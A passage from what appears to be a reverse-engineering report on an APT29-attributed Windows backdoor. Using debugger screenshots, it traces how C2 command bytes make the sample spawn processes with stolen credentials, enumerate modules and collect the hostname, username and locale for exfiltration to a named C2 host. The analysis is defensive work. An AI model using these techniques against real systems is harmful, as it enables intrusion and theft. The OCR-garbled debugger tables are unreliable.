| L  | →● 00406381<br>● 00406389<br>● 0040638C | C7 44 24 04 00 00 00<br>8B 45 B4<br>89 04 24 | 00 mov dword ptr ss:[esp<br>mov eax,dword ptr ss:<br>mov dword ptr ss:[esp                                 | 4],0<br>ebp~4C]<br>,eax |                              | x875W_C1 0 x875W_C0 0 x875W_E5 0<br>x875W_SF 0 x875W_P 0 x875W_U 0                          |
|--|---|--|--|-------------------------|------------------------------|---|
| EIP  | 00406318F<br><                          | E8 78 5C 01 00                               | call <apt29.terminate< th=""><th>rocess&gt;</th><th>&gt;</th><th>Default (stdcall)</th></apt29.terminate<> | rocess>                 | >                            | Default (stdcall)   |
| <apt29.term<br>.text:00406</apt29.term<br> | 1nateProcess><br>3BF apt29.exe:\$       | 638F #578F                                   |  |                         |                              | 1: [esp] 0000020<br>2: [esp+4] 0000000<br>3: [esp+8] 0000148<br>4: [esp+C] 049C9480 &"5192" |
| Ump 1                                      | Dump 2                                  | Dump 3 🐉 Dump 4                              | Dump 5  Watch 1 🛛 🕅 Locals   | 2 Struct                | 049C9428 000<br>049C942C 000 | 002C8<br>00000  |

#### Figure 110

The final buffer that will be exfiltrated contains the string "term" (which probably refers to terminate) and the process ID:

|   | Address   | He          | x     |     |     | -   |     |      |    |     |    |    | 1122 |    |    | . Ince |    | ASCII               |
|---|-----------|-------------|-------|-----|-----|-----|-----|------|----|-----|----|----|------|----|----|--------|----|---------------------|
| I | 0288031C  | ED          | 2B    | 2C  | EE  | AE  | 40  | 41   | AF | 00  | 00 | 00 | 00   | 01 | 00 | 00     | 00 | 1+, ieea Figure 111 |
| I | 0288032C  | 00          | 00    | 00  | 00  | 29  | 00  | 00   | 00 | 81  | 00 | 74 | 65   | 72 | 6D | 20     | 20 | )term               |
| 1 | 0288033C  | 35          | 31    | 39  | 32  | 0A  | 00  | 00   | 00 | 00  | 00 | 00 | 00   | 00 | 00 | 00     | 00 | 5192                |
| E | Byte = 0> | <b>(</b> 32 | ! — ( | cre | ate | a r | new | v pr | 00 | ess | ;  |    |      |    |    |        |    |                     |

The response from the C2 server contains a process name. The malware creates this process by calling the CreateProcessA API:

|  | <pre>nov dword ptr ss: esp-24, edx<br/>lea edx, dword ptr ss: esp+20, edx<br/>mov dword ptr ss: esp+20, edx<br/>mov dword ptr ss: esp+10, 0<br/>mov dword ptr ss: esp+14, 0<br/>mov dword ptr sss: esp+14, 0<br/>mov dword ptr sss: esp+14, 0<br/>mov dword pt</pre> | (esp+4)<br>><br>Def<br>2:<br>3:<br>4:  | 87TW_0 3 (Empty) x87TW_1 3 (Empty)<br>87TW_2 3 (Empty) x87TW_3 3 (Empty)<br>87TW_4 3 (Empty) x87TW_5 3 (Empty)<br>87TW_4 6 3 (Empty) x87TW_7 3 (Empty)<br>87Statusword 0000<br>87SW_5 0 x87SW_C 0 x87SW_C 2 0<br>87SW_5 0 x87SW_C 0 x87SW_U 0<br>87SW_5 0 x87SW_U 0<br>87SW_5 0 x87SW_U 0<br>87SW_5 0 x87SW_U 0<br>87SW_5 0 x87SW_U 0<br>85SW_5 0 x87SW_0 0<br>85SW_5 0 |
|--|--|--|---|
| Ump 1 Ump 2 Ump 3 Ump 4 Ump 5  | 🛞 Watch 1 🛛 🕸 🖉 Struct 049   | C9428 000000<br>C942C 028A93   | 00   "cmd.exe"  |
| Address         Hex           0495945         (add 00 00 00 00 00 00 00 00 00 00 00 00 0 | ASCII         04           0         B   | C 9430 000000<br>C 9434 000000<br>C 9438 000000<br>C 943C 000000<br>C 9440 000000<br>C 9444 000000<br>C 9444 049C 94<br>C 944C 049C 95 | 00<br>00<br>00<br>00<br>00<br>00<br>60<br>62  |

# Figure 112

The final buffer that will be exfiltrated contains the ID of the process created earlier:

| Address  | Нех | (  |    |    |    |    |    |    |    |    |    | 1  |    |    |    |    | ASCII             |   |
|----------|-----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|-------------------|---|
| 0288031C | 6E  | 7D | 7D | 6E | AE | 40 | 41 | AF | 00 | 00 | 00 | 00 | 01 | 00 | 00 | 00 | n}ne@A Figure 11: | 3 |
| 0288032C | 00  | 00 | 00 | 00 | 28 | 00 | 00 | 00 | 81 | 00 | 70 | 69 | 64 | 20 | 20 | 34 | (pid 4            | Č |
| 0288033C | 35  | 31 | 36 | 0A | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 516               |   |

**Byte = 0x33** – create a new process in the security context of the credentials received from the C2 server

The response from the C2 server contains the following data: user, password, Windows domain, and process name. Two anonymous pipes are created using the CreatePipe API:

|   | av dword ptr ss: esp-0,4000<br>v dword ptr ss: esp-0,ebx<br>v dword ptr ss: esp-1,edx<br>v dword ptr ss: esp-1,edx<br>av dword ptr ss: esp-1,eax         | x875W_B 0 x875W_C3 0 x875W_C2 0<br>x875W_C1 0 x875W_C0 0 x875W_E5 0<br>x875W_SF 0 x875W_P 0 x875W_U 0   |
|---|--|---|
| <pre><apt29.createpipe></apt29.createpipe></pre>  |  | Default (subal)     D |
| .text:00434DA5 apt29.exe:\$34DA5 #341A5   |  | 4: [esp+C] 00004000   |
| Ump 1 Ump 2 Ump 3 Ump 4 Ump 5   | 👹 Watch 1 🛛 🗐 Locals 🤌 Struct 0498FA2 0498FA2  | 20 049CBEDB<br>20 049CBEDF  |
| Address         Hex         Image: Constraint of the state of the st | ASCII 0498FA3<br>0498FA3<br>0498FA3<br>0498FA3   | 00 049CBEFB<br>14 00004000<br>15 0000000<br>10 0000000<br>10 0000000<br>10 0000000<br>10 0000000<br>10 0000000<br>10 0000000<br>10 0000000<br>10 000000<br>10 000000<br>10 000000<br>10 000000<br>10 000000<br>10 000000<br>10 000000<br>10 0000000<br>10 000000<br>10 000000<br>10 000000<br>10 000000<br>10 0000000<br>10 000000<br>10 0000000<br>10 00000000<br>10 00000000<br>10 00000000<br>10 00000000<br>10 00000000<br>10 00000000<br>10 0000000000   |
| Figure 114  |  |   |
| 00434005         C7 44 24 0C 00 40 00 00         mm           00434051         89 52 24 08         mm           00434051         89 54 24 04         mm           00434051         89 04 24         mm           0058033         E8 E8 E4 FC FF         C   | ov dword ptr ss: esp-0, 4000<br>ov dword ptr ss: esp-1, ebx<br>ov dword ptr ss: esp-1, edx<br>ov dword ptr ss: esp-1, edx<br>ov dword ptr ss: esp-1, eax | x875W_B 0 x875W_C3 0 x875W_C2 0<br>x875W_C1 0 x875W_C2 0 x875W_E5 0<br>x875W_E5 0 x875W_P 0 x875W_U 0<br>v875W_EF 0 x875W_P 0 x875W_U 0<br>v6fault (stdcall)  |
| <pre><apt29.createpipe> .text:00434DE8 apt29.exe:\$34DE8 #341E8</apt29.createpipe></pre>  |  | 1: [esp] 049CBEE3<br>2: [esp+4] 049CBEF7<br>3: [esp+6] 049CBEF8<br>4: [esp+C] 00004000  |
| Ump 1 Ump 2 Ump 3 Ump 4 Ump 5   | 👹 Watch 1 🛛 🖉 Struct 0498FA2 0498FA2   | 20 049CBEE3<br>20 049CBEE7  |
| Address Hex. 0 049C8ES3 FF FF FF FF FF FF FF 00 00 00 00 00 00  | ASCII 0498FA3<br>0498FA3<br>0498FA3<br>0498FA3   | 00 049CBEFB<br>40 0004000<br>18 00000000<br>10 0000000<br>10 0000000  |

GetCurrentDirectoryW is utilized to retrieve the current directory for the process:

|   | <ul> <li>00434FA</li> <li>00434FB</li> </ul> | C 89 4<br>0 C7 0      | 4 24 04    | 00 00  | mov dword pt<br>mov dword pt  | r ss: esp  | eax        | X                          | x875W_SF 0 x875W_P 0 x875W_U 0 |   |          |              |
|---|--|-----------------------|------------|--------|---|------------|------------|----------------------------|--------------------------------|---|----------|--------------|
| EIP   | →• 00434FB<br>< <                            | 7 E8 A                | C 1B FE FF |        | call <apt29.< th=""><th>GetCurrent</th><th>irectoryW&gt;</th><th>&gt;</th><th>Det</th><th>fault (stdcall)</th><th>-</th><th>5 🗘 🗌 Unlock</th></apt29.<> | GetCurrent | irectoryW> | >                          | Det                            | fault (stdcall)   | -        | 5 🗘 🗌 Unlock |
| <apt29.get< th=""><th>4FB7 apt29.ex</th><th>oryW&gt;<br/>e:\$34FB7 #3</th><th>34387</th><th></th><th></th><th></th><th></th><th></th><th>2:<br/>3:<br/>4:</th><th>[esp+4] 049C0DD0<br/>[esp+8] 028AA166 "<br/>[esp+C] FFFFFFF</th><th>cmd.exe"</th><th></th></apt29.get<> | 4FB7 apt29.ex                                | oryW><br>e:\$34FB7 #3 | 34387      |        |   |            |            |                            | 2:<br>3:<br>4:                 | [esp+4] 049C0DD0<br>[esp+8] 028AA166 "<br>[esp+C] FFFFFFF | cmd.exe" |              |
| Dump 1  | Dump 2                                       | Dump 3                | Dump 4     | Dump 5 | 💮 Watch 1   | x=  Locals | Struct     | 0498FA28 00<br>0498FA2C 04 | 0008                           | 00<br>D0  |          |              |
| Eiguro  | 116  |                       |            |        |   |            |            |                            |                                |   |          |              |

#### Figure 116

The binary creates a new process that runs in the context of the credentials extracted from the network traffic via a CreateProcessWithLogonW function call:

|  | <pre>mov dword ptr ss: [esp+28], ebx mov dword ptr ss: [esp+28], ebx lea eax,dword ptr ss: [ebp+28], eax lea eax,dword ptr ss: [ebp+20], eax mov dword ptr ss: [esp+20], eax lea eax,dword ptr ss: [ebp-98] lea eax,dword ptr ss: [ebp-9850 mov dword ptr ss: [ebp-9850 lea eax,dword ptr ss:</pre> | x87r5 000000000000000000000000000000000000  |
|--|---|---|
| .text:0043504D apt29.exe:\$3504D #3444D  |   | 4: [esp+8] 0496FPD L pass"<br>4: [esp+C] 00000000   |
| Ump 1 Ump 2 Ump 3 Ump 4 Ump 5  | Image: Watch 1         [x=] Locals         Image: Struct         049BF           049BF         049BF         049BF         049BF  | 23 0498F8D0 L"user"<br>22C 0498F9D0 L"DOM"  |
| Address         Hex           049500550         00 | ASCII 0498F.<br>0498F.<br>0498F.<br>0498F.<br>0498F.<br>0498F.<br>0498F.<br>0498F.<br>0498F.<br>0498F.  | 130 04967FD0 L pd55<br>138 0000000<br>138 0000000<br>140 00000004<br>144 00000000<br>148 049C0D0 L"C:\\Users\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ |

#### Figure 117

The executable extracts a handle for each module in the process created above by calling the EnumProcessModules routine:

| 00435167     89 54 24     00435168     C7 44 24     00435103     80 95 80     00435109     89 54 24     00435109     89 04 24 | 0C<br>08 04 00 00 00<br>7F FF FF<br>04 00 00 00<br>04 00 00 00<br>mov dword ptr ss:<br>1ea edx,dword ptr<br>mov dword ptr ss:<br>mov dword ptr ss:<br>mov dword ptr ss:<br>mov dword ptr ss: | esp+C, edx<br>esp+8,4<br>ss:[ebp-8050]<br>esp+4,edx<br>esp],eax |                                | x875W_B 0 x875W_C3 0<br>x875W_C1 0 x875W_C0 0<br>x875W_SF 0 x875W_P 0 | x875W_C2 0<br>x875W_ES 0<br>x875W_U 0 |
|---|--|---|--------------------------------|---|---------------------------------------|
| <pre>capt29.EnumProcessModules&gt;</pre>  | FD FF  | rocessModules>  | >                              | Default (stdcal)<br>1: [esp] 000000000<br>2: [esp: 0.00000000         | ▼ 5 🔹 Unlock                          |
| .text:004351E0 apt29.exe:\$351E0 #345E0   | r  |   |                                | 3: [esp+8] 00000004<br>4: [esp+C] 049C95D4                            |                                       |
| Dump 1 Dump 2 Dump 3  | Dump 4 🗰 Dump 5 🥮 Watch 1 🕅 🕬  | .ocals 🖉 Struct   | 0498FA28 0000<br>0498FA2C 0490 | 00000   |                                       |
| Address Hex   | ASCII  | ^   | 0498FA30 0000<br>0498FA34 0490 | 00004   |                                       |

#### Figure 118

There is a call to GetModuleFileNameExA that extracts the path of the file containing the above module:

|  | <ul> <li>00435200</li> <li>00435208</li> <li>0043520E</li> <li>00435212</li> <li>00435216</li> </ul> | C7 44 24 0C 00 04 00 0<br>8D 9D 80 68 FF FF<br>89 5C 24 08<br>89 54 24 04<br>89 04 24 | mov dword ptr ss: esp<br>lea ebx, dword ptr ss:<br>mov dword ptr ss: esp<br>mov dword ptr ss: esp<br>mov dword ptr ss: esp   | C,400<br>ebp-9450<br>6,ebx<br>4,edx<br>,eax |                             | x875tatusWord 0000<br>x875W_B 0 x875W_C3<br>x875W_C1 0 x875W_C0<br>x875W_SF 0 x875W_P                       | 0 x875W_C2 0<br>0 x875W_E5 0<br>0 x875W_U 0 |
|--|--|---|--|---|-----------------------------|---|---|
| <apt29.getm<br>.text:00439</apt29.getm<br> | 00435219<br><<br>AoduleFileNameEx/<br>5219 apt29.exe:\$  | E8 B6 1B FE FF  | Call <apt29.getmodule< th=""><th>-11eNameExA&gt;</th><th>&gt;</th><th>Default (stdcall)<br/>1: [esp] 00000000<br/>2: [esp+4] 6E726568<br/>3: [esp+8] 049C01D0<br/>4: [esp+C] 00000400</th><th>▼ 5 € Unloci</th></apt29.getmodule<> | -11eNameExA>                                | >                           | Default (stdcall)<br>1: [esp] 00000000<br>2: [esp+4] 6E726568<br>3: [esp+8] 049C01D0<br>4: [esp+C] 00000400 | ▼ 5 € Unloci                                |
| Ump 1                                      | Ump 2  | Dump 3 🛛 🗱 Dump 4 🛛 🗱 Dur   | np 5 💮 Watch 1 🛛 🕅 🕅 🕅 Ix=l Locals   | 2 Struct                                    | 0498FA28 000<br>0498FA2C 6E | 000000<br>726568  |   |
| Address H                                  | ex   |   | ASCII  |   | ^ 0498FA30 04               | 000400  |   |

The buffer that will be exfiltrated is similar to the one presented in figure 108.

# Byte = 0x34 (same execution flow as 0x33)

**Byte = 0x40** – retrieve the current process ID, the path of the executable, the hostname, the username, and the default locale

GetModuleFileNameA is utilized to extract the path of the executable of the current process:



#### Figure 120

The malware retrieves the NetBIOS name of the local computer and the user name by calling the GetComputerNameA and GetUserNameA functions, respectively:

| <b>91</b> 2  | 00416C04<br>00416C08<br>00416C0E<br>00416C11                                       | 89 44 24 04<br>8D 85 C8 FD<br>89 04 24<br>E8 F2 C4 FE | FF FF        | <pre>mov dword ptr ss:[esp+4],eax<br/>lea eax,dword ptr ss:[esp-43]<br/>mov dword ptr ss:[esp],eax<br/>call <apt29.getcomputernamea></apt29.getcomputernamea></pre> |                              | x875w_C1 0 x875w_C0 0 x875w_E5 0<br>x875w_SF 0 x875w_P 0 x875w_U 0<br>Default (stdcall)                                  |
|--|--|---|--------------|---|------------------------------|--|
| <apt29.get< th=""><th>ComputerNameA&gt;</th><th>:\$16C11 #16011</th><th></th><th></th><th></th><th>1: [esp] 04909558<br/>2: [esp+4] 0490758<br/>3: [esp+8] 00000400<br/>4: [esp+C] 3435506A</th></apt29.get<>                      | ComputerNameA>   | :\$16C11 #16011                                       |              |   |                              | 1: [esp] 04909558<br>2: [esp+4] 0490758<br>3: [esp+8] 00000400<br>4: [esp+C] 3435506A                                    |
| Figure   | 2 Dump 2 4   | Dump 3 Dum  | p 4 👹 Dump 🗄 | 5 👹 Watch 1 🛛 🕸 Locals 🎾 Struct   | 049C93DC 049<br>049C93DC 049 | C 9558<br>K 9758   |
|  | <ul> <li>00416C33</li> <li>00416C37</li> <li>00416C3D</li> <li>00416C3D</li> </ul> | 89 44 24 04<br>8D 85 C8 FE<br>89 04 24<br>F8 17 59 00 | FF FF        | mov dword ptr ss: esp+4, eax<br>lea eax, dword ptr ss: esp-138<br>mov dword ptr ss: esp1, eax   |                              | x875W_C1 0 x875W_C0 0 x875W_E5 0<br>x875W_SF 0 x875W_P 0 x875W_U 0   |
| <apt29.get< td=""><td>UserNameA&gt;</td><td></td><td></td><td></td><td>&gt;</td><td>Default (stdcall) ▼ 5 € Unloc<br/>1: [esp] 04909658<br/>2: [esp+4] 04909758<br/>3: [esp+4] 049000400<br/>4: [esp-6] 3030506A</td></apt29.get<> | UserNameA>   |   |              |   | >                            | Default (stdcall) ▼ 5 € Unloc<br>1: [esp] 04909658<br>2: [esp+4] 04909758<br>3: [esp+4] 049000400<br>4: [esp-6] 3030506A |
| .text:0041   | 6C40 apt29.exe   | :\$16C40 #16040                                       | p 4 📲 Dump ! | 5 👹 Watch 1 🛛 Ix=l Locals 🐉 Struct  | 049C93D8 049<br>049C93DC 049 | C 9658<br>C 9758   |

#### Figure 122

The current process ID is extracted using the GetCurrentProcessId routine:

#### Figure 123

GetLocaleInfoA is utilized to retrieve information about the default locale for the user or process (0x400 = LOCALE\_USER\_DEFAULT):





The final buffer that will be exfiltrated contains the current process ID, the path of the executable, the hostname, the username, the "AppID" value, the C2 server, the HTTP method used during network communications, the pipe name mentioned in Case1 of Data Exfiltration, and the user's language (English – United States):

| Address  | He        | <  |    |    |    |    | 1125 |    |    |    | -  |    | 2007 |    |    |    | ASCII            |
|----------|-----------|----|----|----|----|----|------|----|----|----|----|----|------|----|----|----|------------------|
| 0288031C | 3C        | 88 | 88 | 3C | AE | 40 | 41   | AF | 00 | 00 | 00 | 00 | 01   | 00 | 00 | 00 | <<@@A            |
| 0288032C | 00        | 00 | 00 | 00 | CF | 00 | 00   | 00 | 81 | 00 | 70 | 72 | 6F   | 63 | ЗA | 20 | Ïproc:           |
| 0288033C | 20        | 32 | 39 | 36 | 20 | 43 | 3A   | 5C | 55 | 73 | 65 | 72 | 73   | 5C |    |    | 296 C:\Users     |
| 0288034C |           | 5C | 44 | 65 | 73 | 6B | 74   | 6F | 70 | 5C | 61 | 70 | 74   | 32 | 39 | 2E | \Desktop\apt29.  |
| 0288035C | 65        | 78 | 65 | 0A | 6C | 6F | 67   | 69 | 6E | 3A | 20 | 44 | 45   | 53 | 4B | 54 | exe.login: DESKT |
| 0288036C | 4F        | 50 | 2D |    |    |    |      |    |    |    |    |    |      |    | 0A | 49 | OP- Figure 125   |
| 0288037C | 44        | ЗA | 20 | 20 | 20 | 20 | 30   | 78 | 41 | 46 | 34 | 31 | 34   | 30 | 41 | 45 | D: 0xAF4140AE    |
| 0288038C | 0A        | 68 | 6F | 73 | 74 | ЗA | 20   | 20 | 73 | 61 | 6C | 65 | 73   | 61 | 70 | 70 | .host: salesapp  |
| 0288039C | 6C        | 69 | 61 | 6E | 63 | 65 | 73   | 2E | 63 | 6F | 6D | ЗA | 38   | 30 | ЗA | 38 | liances.com:80:8 |
| 028803AC | 30        | 0A | 6D | 65 | 74 | 68 | ЗA   | 20 | 20 | 47 | 45 | 54 | 20   | 32 | 35 | 36 | O.meth: GET 256  |
| 028803BC | <u>0A</u> | 70 | 69 | 70 | 65 | ЗA | 20   | 5C | 5C | 5C | 70 | 69 | 70   | 65 | 5C | 44 | .pipe: \\\pipe\D |
| 028803CC | 65        | 66 | 50 | 69 | 70 | 65 | 0A   | 6C | 61 | 6E | 67 | 3A | 20   | 20 | 45 | 4E | efPipe.lang: EN  |
| 028803DC | 55        | 0A | 64 | 65 | 6C | 61 | 79   | 3A | 20 | 35 | 38 | 00 | 00   | 00 | 00 | 00 | U.delay: 58      |

**Byte = 0x41** –retrieve the current process ID, the path of the executable, the hostname, the username, and the default locale

GetModuleFileNameA is utilized to extract the path of the executable of the current process:

|  | <ul> <li>0043AE5C</li> <li>0043AE64</li> <li>0043AE64</li> <li>0043AE66</li> <li>0043AE66</li> </ul> | C7 4<br>8D 8<br>89 4<br>C7 0 | 4 24 08 00 1<br>5 A4 F3 FF 1<br>4 24 04<br>4 24 00 00 1 | 04 00 00<br>FF | mov dword pt<br>lea eax,dwor<br>mov dword pt<br>mov dword pt  | r ss: esp+8<br>d ptr ss: esp+4<br>r ss: esp+4<br>r ss: esp] | ,400<br>bp-C5C<br>,eax |  | X8<br>X8<br>X8              | 375W_B 0 x875W_C3 0 x8<br>375W_C1 0 x875W_C0 0 x8<br>375W_SF 0 x875W_P 0 x8   | 75W_C2<br>75W_E5<br>75W_U | 0           |
|--|--|------------------------------|---|----------------|---|---|------------------------|--|-----------------------------|---|---------------------------|-------------|
| <apt29.getu< th=""><th>AE75 apt29.exe</th><th>A&gt;<br/>\$3AE75 #</th><th>6 AE FD FF</th><th></th><th>call <apt29.< th=""><th>GetModuleFi</th><th>lenameA&gt;</th><th>&gt;</th><th>Def<br/>1:<br/>2:<br/>3:<br/>4:</th><th>fault (stdcall)           [esp] 00000000           [esp+4] 049C89C4           [esp+8] 00000400           [esp+4] 82D4188D</th><th>•</th><th>S 🗧 🗆 Unloc</th></apt29.<></th></apt29.getu<> | AE75 apt29.exe   | A><br>\$3AE75 #              | 6 AE FD FF  |                | call <apt29.< th=""><th>GetModuleFi</th><th>lenameA&gt;</th><th>&gt;</th><th>Def<br/>1:<br/>2:<br/>3:<br/>4:</th><th>fault (stdcall)           [esp] 00000000           [esp+4] 049C89C4           [esp+8] 00000400           [esp+4] 82D4188D</th><th>•</th><th>S 🗧 🗆 Unloc</th></apt29.<> | GetModuleFi   | lenameA>               | >  | Def<br>1:<br>2:<br>3:<br>4: | fault (stdcall)           [esp] 00000000           [esp+4] 049C89C4           [esp+8] 00000400           [esp+4] 82D4188D | •                         | S 🗧 🗆 Unloc |
| Dump 1   | Dump 2   | Dump 3                       | Ump 4   | Dump 5         | 🛞 Watch 1   | [x=] Locals   | Struct                 | 049C88C8 000<br>049C88CC 049<br>049C88D0 000 | 0000                        | 00<br>54<br>00  |                           |             |

#### Figure 126

The GetComputerNameA and GetUserNameA APIs are used to retrieve the hostname and the username associated with the current thread:

|  | <ul> <li>0043AE9A</li> <li>0043AE9E</li> <li>0043AEA4</li> </ul> | 89 44 24 04<br>8D 85 A4 F7 FF FF<br>89 04 24 | mov dword ptr ss:[esp+4],eax<br>lea eax,dword ptr ss:[ebp-85C]<br>mov dword ptr ss:[esp],eax     |                              | x875W_C1 0 x875W_C0 0 x875W_E5 0<br>x875W_SF 0 x875W_P 0 x875W_U 0                       |
|--|--|--|--|------------------------------|--|
| EIP  | 0045AEA7   | E8 SC 82 FC FF                               | Carl Capt29. GetComputerNameA>   | Ň                            | Default (stdcall) - 5 🗘 🗌 Unlock   |
| <apt29.ge< th=""><th>tComputerNameA&gt;<br/>3AEA7 apt29.exe:\$3</th><th>AEA7 #3A2A7</th><th></th><th></th><th>1: [esp] 0496 080C4<br/>2: [esp+4] 049C95D4<br/>3: [esp+8] 00000400<br/>4: [esp+C] 82D4188D</th></apt29.ge<> | tComputerNameA><br>3AEA7 apt29.exe:\$3                           | AEA7 #3A2A7                                  |  |                              | 1: [esp] 0496 080C4<br>2: [esp+4] 049C95D4<br>3: [esp+8] 00000400<br>4: [esp+C] 82D4188D |
| Dump 1   | Dump 2   | Dump 3 👹 Dump 4 👹 Dun                        | np 5 👹 Watch 1 🛛 🕸 Locals 🎾 Struct   | 049C88C8 049<br>049C88CC 049 | C8DC4<br>C95D4   |
| Figure   | e 127  |  |  |                              |  |
|  | <ul> <li>0043AEC9</li> <li>0043AECD</li> <li>0043AED3</li> </ul> | 89 44 24 04<br>8D 85 A4 FB FF FF<br>89 04 24 | <pre>mov dword ptr ss: esp+4, eax lea eax,dword ptr ss: esp-45C mov dword ptr ss: esp, eax</pre> |                              | x875W_C1 0 x875W_C0 0 x875W_ES 0<br>x875W_SF 0 x875W_P 0 x875W_U 0                       |
| EIP  | 0043AED6   | E8 81 16 FE FF                               | call <apt29.getusernamea></apt29.getusernamea>   | *                            | Default (stdcall)  |
| <apt29.ge< td=""><td>tUserNameA&gt;<br/>3AED6 apt29.exe:\$3</td><td>AED6 #3A2D6</td><td></td><td></td><td>1: [csp+4] 049C95D4<br/>3: [csp+8] 00000400<br/>4: [csp+C] 82D418BD</td></apt29.ge<>                             | tUserNameA><br>3AED6 apt29.exe:\$3                               | AED6 #3A2D6                                  |  |                              | 1: [csp+4] 049C95D4<br>3: [csp+8] 00000400<br>4: [csp+C] 82D418BD                        |
| Dump 1   | Ump 2  | Dump 3 🛛 💭 Dump 4 💭 Dun                      | np 5 😸 Watch 1 🛛 🕫 Locals 🎾 Struct   | 049C88C8 049<br>049C88CC 049 | C91C4<br>C95D4   |

#### Figure 128

GetCurrentProcessId is utilized to extract the ID of the current process:



#### Figure 129

The default locale for the user or process is extracted using GetLocaleInfoA (0x400 = LOCALE\_USER\_DEFAULT):

|   | <ul> <li>0043AEFB</li> <li>0043AEFF</li> <li>0043AF02</li> <li>0043AF06</li> <li>0043AF0E</li> </ul> | 89 44 24 0C<br>8D 45 A4<br>89 44 24 08<br>C7 44 24 04 03 00 00<br>C7 04 24 00 04 00 00 | <pre>mov dword ptr ss:[esp+C],eax lea eax,dword ptr ss:[esp-SC] mov dword ptr ss:[esp+4],a mov dword ptr ss:[esp+4],a mov dword ptr ss:[esp],400</pre> |                              | x875W_B 0 x875W_C3<br>x875W_C1 0 x875W_C0<br>x875W_SF 0 x875W_P  | 0 x875W_C2 0<br>0 x875W_ES 0<br>0 x875W_U 0 |
|---|--|--|--|------------------------------|--|---|
| <apt29.getl< th=""><th>ocaleInfoA&gt;</th><th>E6 32 87 FF FF</th><th>call capt29.GetLocaleInfoA&gt;</th><th>&gt;</th><th>Default (stdcall)<br/>1: [esp] 00000400<br/>2: [esp+4] 0000003<br/>3: [esp+4] 049C95C4<br/>4: [esp+C] 00000010</th><th>▼ 5 🗣 🗌 Unlock</th></apt29.getl<> | ocaleInfoA>  | E6 32 87 FF FF   | call capt29.GetLocaleInfoA>  | >                            | Default (stdcall)<br>1: [esp] 00000400<br>2: [esp+4] 0000003<br>3: [esp+4] 049C95C4<br>4: [esp+C] 00000010 | ▼ 5 🗣 🗌 Unlock                              |
| .text:00434   | AF15 apt29.exe:\$  | 3AF15 #3A315   |  |                              |  |   |
| Dump 1  | Dump 2   | Dump 3 🗱 Dump 4 👹 Du   | np 5 💮 Watch 1 🛛 🖉 Struct  | 049C88C8 000<br>049C88CC 000 | 000400   |   |
| Address H   | ex   |  | ASCII  | A 049C88D0 049               | 000010   |   |

The final buffer that will be exfiltrated contains the current process ID, the path of the executable, the hostname, the username, and the user's language (English – United States):

| Address   | He  | x  |    |    |    |    |    |    | 10-1- |    |    |    |    |    |    |    | ASCII            | 1      |     |
|---|---|----|----|----|----|----|----|----|-------|----|----|----|----|----|----|----|------------------|--------|-----|
| 0288031C  | 69  | 5C | 5C | 69 | AE | 40 | 41 | AF | 00    | 00 | 00 | 00 | 01 | 00 | 00 | 00 | 1\\19@A          | 1      |     |
| 0288032C  | 00  | 00 | 00 | 00 | 59 | 00 | 00 | 00 | 81    | 00 | 32 | 39 | 36 | 20 | 43 | 3A | Y296 C:          |        | 404 |
| 0288033C  | 5C  | 55 | 73 | 65 | 72 | 73 | 5C |    |       |    | 5C | 44 | 65 | 73 | 6B | 74 | \Users\\Deskt    | ⊢igure | 131 |
| 0288034C  | 6F  | 70 | 5C | 61 | 70 | 74 | 32 | 39 | 2E    | 65 | 78 | 65 | 0A | 45 | 4E | 55 | op\apt29.exe.ENU | Ū      |     |
| 0288035C  | 20  | 44 | 45 | 53 | 4B | 54 | 4F | 50 | 2D    |    |    |    |    |    |    |    | DESKTOP-         |        |     |
| 0288036C  | 20  |    |    |    | 0A | 00 | 00 | 00 | 00    | 00 | 00 | 00 | 00 | 00 | 00 | 00 |                  |        |     |
| $\mathbf{D}_{\mathbf{v}} \mathbf{t} \mathbf{a} = 0$ | $P_{\rm ref} = 0.240$ , retrieve the best series and view respective. |    |    |    |    |    |    |    |       |    |    |    |    |    |    |    |                  |        |     |

Byte = 0x48 – retrieve the hostname and username

The malware extracts the username and hostname as before:

| <apt29. getcomputernamea="">     1     ESDJ 04302614       .text:0043AD90 apt29. exe: \$3AD90 #3A190     .text:0043AD90 apt29. exe: \$3AD90 #3A190     2     Esp+6] 0430040       ## Dump 1     ## Dump 2     ## Dump 3     ## Dump 4     ## Dump 5     W Watch 1     It=lLocals     2     Struct     045C88CE 049C80C4       Figure 132     ## 0043ADEF     #9 44 24 04     mov dword ptr 5s:[esp+4].eax     045C88CC 049C9504     X875W_C1 0     X875W_C1 0     X875W_C2 0     0 X875W_E5 0       ## 0043ADEF     #9 044 24 04     mov dword ptr 5s:[esp+4].eax     ## 0043ADEF     X875W_C1 0     X875W_C1 0     X875W_C2 0     X875W_U 0       ## 0043ADEF     #9 04 24 04     mov dword ptr 5s:[esp+4].eax     ## 0043ADEF     ## 0043ADEF</apt29.>   | 0043AD30         89 44 24 04         mov dword ptr ss:         especial (especial (esp | x875w_C1 0 x875w_C0 0 x875w_E5 0<br>x875w_5F 0 x875w_F 0 x875w_U 0<br>→ Default (stdcall) → 5 0 Unloc |
|--|--|---|
| Imp 1       Imp 2       Imp 3       Imp 4       Imp 5       Imp 4       Imp 5       Imp 5 <td< th=""><th><pre><apt29.getcomputernamea> .text:0043AD9D apt29.exe:\$3AD9D #3A19D</apt29.getcomputernamea></pre></th><th>21 [esp] 492 004<br/>21 [esp+8] 0492 9504<br/>31 [esp+8] 00330040<br/>41 [esp+6] 7D254695</th></td<>   | <pre><apt29.getcomputernamea> .text:0043AD9D apt29.exe:\$3AD9D #3A19D</apt29.getcomputernamea></pre>   | 21 [esp] 492 004<br>21 [esp+8] 0492 9504<br>31 [esp+8] 00330040<br>41 [esp+6] 7D254695                |
